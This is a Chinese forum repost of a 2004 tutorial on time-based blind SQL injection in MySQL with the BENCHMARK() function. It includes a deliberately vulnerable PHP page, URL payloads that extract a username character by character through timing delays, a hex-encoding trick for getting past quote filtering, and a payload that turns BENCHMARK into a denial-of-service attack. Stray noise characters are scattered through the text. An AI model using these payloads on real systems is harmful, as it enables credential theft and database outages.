找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2134|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
' w; M0 X/ M4 ~1 O. `9 }! v本文作者:SuperHei
8 M2 o6 s0 ?- F! u. B文章性质:原创
: l9 n! ?5 g9 \3 I& J7 t/ A$ Z) X$ }发布日期:2005-01-02
* Y! d4 v4 I6 M$ d* v2 Y完成日期:2004-07-09 $ k. T& n5 ^; |
第一部
, ?6 X3 }. V, P) c
/ P! ]- l; y' ]利用时间推延进行注射---BENCHMARK函数在注射中的利用
$ C( b0 y4 [# ]2 V3 U4 j6 q+ a* m- ]" T6 O
一.前言/思路
: _: m1 K/ a% q8 f) P* U5 f7 m- {* D6 g5 z
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
$ k  d9 v% e  L0 L# V8 ]3 Q: J9 ], }9 @8 c# R. f1 c# D
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
8 Z9 O. b; _2 c& |* {' g, _7 w& G
+ I5 p4 A# N/ v二.关于BENCHMARK函数
/ P8 }& w" u& _4 l- o" x2 R8 c/ b. [" ^9 l  ?) ^0 O. w
  在MySQL参考手册里可以看到如下描叙: 6 f) A( L- b, F2 `1 L- f

, t* |  @" h5 S/ l: T9 c  j, E; l* R9 v: w6 v4 i
--------------------------------------------------------------------------------. M% O" n: B5 W! C
, a# @( V4 r5 i+ {* n$ V. d# J
BENCHMARK(count,expr) 0 I% i' N) o$ b8 M) p/ j. n# j
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。   O% Y2 a% d" v) Y7 S
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); # s7 n: _& e1 F0 N4 |3 e# M) ?
+----------------------------------------------+
& Q9 ^! ]. l- b4 x' ]| BENCHMARK(1000000,encode("hello","goodbye")) |
; a$ ~& V* R  [8 N7 p: n" Y+----------------------------------------------+ : n! j1 {5 N& b
| 0 |   ]# a; E) n, M0 E7 k. @9 Q$ v+ R% h
+----------------------------------------------+
, |4 r* _. J; p7 T2 @( E+ A1 row in set (4.74 sec) * _7 S% b# M4 o7 r

" f, U7 C/ _6 ^- ]; v报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
. ~# ~: I8 i5 \$ i5 u5 Z
  D- i1 {& [6 e$ D
4 Q( C. h/ c" V: L--------------------------------------------------------------------------------. p& Q2 n6 X  W7 \! g1 i

2 K9 H7 y& I$ P( a1 Y9 v  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
' {  f8 |  Q$ W. W
; ~9 \( A  f0 n1 m6 t* cmysql> select md5( 'test' ); % x# i5 T. @& [
+----------------------------------+ ( |( E0 @# z0 j; I3 K
| md5( 'test' ) | $ M7 N2 d8 H7 S* K# I" y/ R2 y: Q
+----------------------------------+
) f' o& ^4 {/ u, E4 q- E2 k) C| 098f6bcd4621d373cade4e832627b4f6 |
& {; {  S. Y: x' u  m/ \) _+----------------------------------+ 9 q  h' M) U) [2 S& S* S8 G* h
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
5 L! T! i0 C" w; D2 L/ t1 e4 h! J, Z- J, ]& d4 e: h
mysql> select benchmark( 500000, md5( 'test' ) ); 0 m, z# {* J+ c/ j' ?2 n- M. F
+------------------------------------+
: t3 A5 A; I- a4 }) v6 P| benchmark( 500000, md5( 'test' ) ) |
2 D; c# r2 m2 S' Y; o1 g# U% h+ ?# G+------------------------------------+ ) F. F+ Z) `8 u* c- r! G9 H
| 0 |
, |$ H( R/ m: e1 x/ a- b  V/ O+------------------------------------+ % U* q. t* ^) K; N
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
# t2 X. z2 B5 p+ R4 k- p' j + C( A5 ^4 d3 `1 ^3 ~. H
8 R3 c+ F/ t+ D: w3 }) F, r' t% }3 O
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 " c( _# I& a( N7 j% w3 o5 k

: q" a' r2 v- o  y: J$ _6 U9 F三.具体例子
: E/ ~2 i: d) @/ p0 a; c. C, \3 y1 T- E0 G
  首先我们看个简单的php代码:$ b8 L' m2 g3 p

0 u' w3 ?$ w1 B5 D8 O. U< ?php % M  k' J2 v. }3 n' x0 g9 |' y2 o
$servername = "localhost"; & L+ y: O) L5 Z0 [$ R2 Z5 u. g6 \
$dbusername = "root"; , b) M& f, O' Q3 Y% [$ n
$dbpassword = "";
. ?. _5 l& T/ ]8 W0 G" t7 q+ |$dbname = "injection";
! ^/ r. h: V: b4 w. |) C# G) x& y7 e) y
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
, X$ a# m* i+ \/ l( a; G* p0 b" a# L
$sql = "SELECT * FROM article WHERE articleid=$id"; & D# }8 q: X7 b% U9 L% }+ Z
$result = mysql_db_query($dbname,$sql); ! g& u4 X) C  k  @
$row = mysql_fetch_array($result); ; K  i# V1 U) t; J+ K: x

$ S& o, O8 p" E- w8 E3 W* v5 Eif (!$row)
- r4 C. K% i4 p{ " J: _4 h* m' g8 ^7 \
exit; % R8 b0 w/ _. Y
}
! {# X. }% q; n6 d?>. M% L" Q6 N$ g

# a. c/ e2 F, T' P7 k5 v* p. ~' e9 x1 c: T
  数据库injection结构和内容如下:. `- N8 e6 d. c- x9 l" O
2 W$ {2 ]7 o: s3 w" Q! C, r
# 数据库 : `injection` 3 n5 z' F! u! D$ _  g' l. a( [# a
#
1 Q$ ~; Y) \' P, V
- x% |* F. w9 n* a$ C9 L' d1 T# -------------------------------------------------------- # P# b. @, ]' D
' z% d; Z4 ~# X) N
#
, \  c: s/ d& e9 n% x- A# 表的结构 `article` . W5 L' X  W# F+ Z( A9 p1 j
# . y0 v1 e, {: }" V- V: U
2 w7 e) d1 M& t% s: T4 t
CREATE TABLE `article` ( - w/ A$ k/ O  P0 O. b0 k3 k* I- X: ?
`articleid` int(11) NOT NULL auto_increment, % k0 m  H$ D' e, @" f
`title` varchar(100) NOT NULL default '', # c$ f7 I, k: J7 Q+ }- m( o# R
`content` text NOT NULL,
% ~" S9 H# U$ j- s7 UPRIMARY KEY (`articleid`)
7 @* ]' W% r! f8 C9 f/ _! g) TYPE=MyISAM AUTO_INCREMENT=3 ;
0 z3 c8 l/ K+ S' ?! N0 M" v( ^$ F6 C& p- E4 i2 H. J/ h1 k
#
5 ?. f2 \. ~3 m3 d3 H# 导出表中的数据 `article`
. Y" N. I. l- e#
6 m& y6 @1 l, l$ T5 J
! x) O5 \0 j: l3 n& eINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); % t* H, \) K) e* U
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); / }. `, h7 Y, O6 O2 ^) ~+ X4 d
! u/ c/ ?$ k4 T/ T
# --------------------------------------------------------
' b# Q6 X. N9 R8 T( a! T+ P% H* n) H0 s: Y7 Z% W( ?6 M, [
#
! C; S9 m' }  c& ?1 ~# 表的结构 `user`
- p# G6 ]$ C2 y7 l( e% l: B# ; f# j& W- `) L: \4 H

0 T. d" X" P- ]/ O/ T2 Y) sCREATE TABLE `user` (
3 |4 ]. i% I4 ]* F! t`userid` int(11) NOT NULL auto_increment,
! C% G* v! b( m9 C( F`username` varchar(20) NOT NULL default '', 7 b# W4 Y  b& Y3 e. H& Y! L
`password` varchar(20) NOT NULL default '', # P; p/ J/ p$ ~5 O2 z/ N
PRIMARY KEY (`userid`) 2 @7 F0 o  l. M# z8 P
) TYPE=MyISAM AUTO_INCREMENT=3 ;
8 g/ k3 V$ N7 Z7 D6 {
, c- Q3 S1 x3 j4 y# B- q% g% Q% c#
- x6 G1 F( Y$ l# 导出表中的数据 `user` + b. n" y3 t7 y7 I3 _
#
+ t9 k: j$ R! d' L! v+ \) _. c
6 Q! U! k  M$ }6 M8 f7 H8 F* WINSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 _( P* V1 q& o/ i# aINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
' ?! r% e4 m1 O3 y
  T5 ^+ Y* g# y$ W1 M+ X: I9 i# {. ?
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
6 S- b( X* d1 y- G& a
; c1 t) v8 R( ]: T. E% T# U! U! P: Zid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
, X1 B7 Y7 a, Y  k9 x
/ A% W' {. |; D3 U: ~
8 \" s% U  c2 m! P( E8 Y  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:) l; x  k7 ?3 S  A) o4 h
9 b9 I! o1 J$ i" {) I
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*9 M. [2 _& F& Y
  y: |7 w! f" l2 b

! R2 \, E; G  U. h2 j2 E. M  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 2 t% ^4 L0 o% S& r7 r3 o$ h
& B$ a, Q3 x, B4 I" B# W
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 * M+ o- Z% m# _9 k* u( x
4 e' G( y+ @# @1 V. ~" o4 x3 z" ^) y
第二部
& {0 [( e7 _- O/ S6 l6 m) y, Z8 c8 s" p  C, m& Y$ B* n
利用BENCHMARK函数进行ddos攻击 ; j. E( r8 W; b) b0 ?# |, N

; W; R6 ^0 |. w. V1 J0 k3 }8 L  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:& z1 i$ v$ N- g  O6 G
7 P& P7 b6 T% p. I2 x: W1 r
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
: y5 \" ]  r: j; V ( K+ g( S  [; [, e3 m1 h1 F
' H( |$ Z* N4 z0 s
小结
: A' W) n' B% E. b
4 t: X% |, Y6 w/ q* J8 g' Y  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。/ v6 Y% t+ M; N% I
3 O" ]' q  c6 X; |& G0 b: o
  
$ P2 h4 v2 D  U  G  k7 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表